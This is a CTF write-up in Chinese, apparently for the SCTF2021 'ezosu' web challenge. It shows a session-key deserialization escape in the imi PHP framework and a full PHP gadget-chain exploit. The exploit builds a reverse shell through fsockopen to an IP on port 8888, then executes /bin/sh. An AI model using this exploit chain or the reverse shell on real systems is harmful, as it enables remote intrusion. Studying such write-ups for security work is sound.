# ezosu

# How to Start and Stop  
## start  
```shell  
docker-compose up -d  
```

## stop  
```shell  
docker-compose down --rmi all  
```

# writeup

## unsafe session  
本题利用了一个名为`imi`的框架。

本题有且只有一个路由由php处理`/config`，其实现如下：

![image-20211229211433630](https://gitee.com/AFKL/image/raw/master/img/image-20211229211433630.png)

这个路由的代码中最惹人注意的地方是，session的键值是可以被用户控制的。

imi框架是用swoole起点的，但swoole本身不支持php的原生session，所以为了兼容原生的session，imi框架自己写了一个session模块，并兼容了原生session。

在原生session文件处理的实现中，开发者使用`|`对属性进行分割，但键名没有过滤，可以插入`|`。如果用户可控键名，那么就会导致反序列化逃逸。

![image-20211229210444085](https://gitee.com/AFKL/image/raw/master/img/image-20211229210444085.png)

## find gadget

那么接下来就是找反序列化链了。本次比赛的选手找到了各种各样的链，这里先说一下预期链：

由于本人在测试时并没有找到`destruct`触发的链。所以基于反序列化函数后的代码尝试触发`toString`。但我们可以看到反序列化得到的对象，经过两行代码后就进入了`serialize`函数中。这意味着我们可以通过触发`__sleep`来触发一条序列化链。

这里是我找到的gadget。  
```php  
value = $a;  
}  
}  
}

namespace Imi\Aop {  
class JoinPoint {  
protected array $args;  
}

class AroundJoinPoint extends JoinPoint {  
private $nextProceed;

public function __construct($a, $b)  
{  
$this->args = $a;  
$this->nextProceed = $b;  
}  
}  
}

namespace GrahamCampbell\ResultType {  
class Success {  
private $value;

public function __construct($a)  
{  
$this->value = $a;  
}  
}  
}

namespace {  
$ip = "127%2E0%2E%2E1";  
$re = "php -r '\$sock=fsockopen(urldecode(\"$ip\"),8888);exec(\"/bin/sh -i <&3
>&3 2>&3\");'";

$exp = new \Symfony\Component\String\LazyString(  
[  
new \Imi\Aop\AroundJoinPoint(  
[new \GrahamCampbell\ResultType\Success($re), "flatMap"],  
[new \GrahamCampbell\ResultType\Success("system"), "flatMap"]  
),  
"proceed"  
]  
);  
echo json_encode(["aaa|".serialize($exp)."aa" => "aaaa"]);  
}  
```

入口是十分经典的`LazyString`，其`__sleep`会去调用`__toString`方法。一些选手使用此方法以为是什么神秘的地方调用了`__toString`，实际上是调用了`__sleep`方法。

![image-20211229232716199](https://gitee.com/AFKL/image/raw/master/img/image-20211229232716199.png)

这里我们可以调用任意类的公共方法，这里我选择了`Imi\Aop\AroundJoinPoint::proceed`:

![image-20211229232832689](https://gitee.com/AFKL/image/raw/master/img/image-20211229232832689.png)  
其参数默认为null，`$args`可以通过父类属性获取，但必须是`array`类型。这个地方的动态调用虽然函数可控，但参数只有一个，且参数类型必须是`array`，是无法getshell的。那么就继续找存在动态调用的公共方法。

最终找到了`GrahamCampbell\ResultType\Success::flatMap`，其参数必须是`callable`类型。

![image-20211229233610931](https://gitee.com/AFKL/image/raw/master/img/image-20211229233610931.png)

动态调用公共方法的数组是被算作`callable`类型的，所以只要利用两次这个方法即可。

![调用流程图](https://gitee.com/AFKL/image/raw/master/img/未命名文件.png)

## other gadget

当然我说过，gadget不止这一条。有人使用`phpggc`的`monolog/RCE1`就直接打穿了（草）。  
很想吐槽monolog，你都2.3.5版本了，怎么还不修链，学学人家yii啊，搞的我这道题都是非预期（bushi

还有一些队伍使用`monolog`的`destruct`加其它的类来触发反序列化链，就不说了。

如果抛开`monolog`的话，本题找`destruct`或`wakeup`起点的链其实很难。因为此框架的类属性都是限定类型的，那么找gadget就会变成java那样比较麻烦。目前来看目前没有一个队伍的起点是`imi`框架里的。

## other point

因为开发者设置的特殊规则，session键值中的`.`符号会被解释为子属性。因此链中的`.`符号必须进行特殊处理。比如我这里使用php反弹shell时将会被转义的符号url编码，在执行反弹shell代码的时候再解开。

Original writeup
(https://github.com/SycloverTeam/SCTF2021/tree/master/web/ezosu).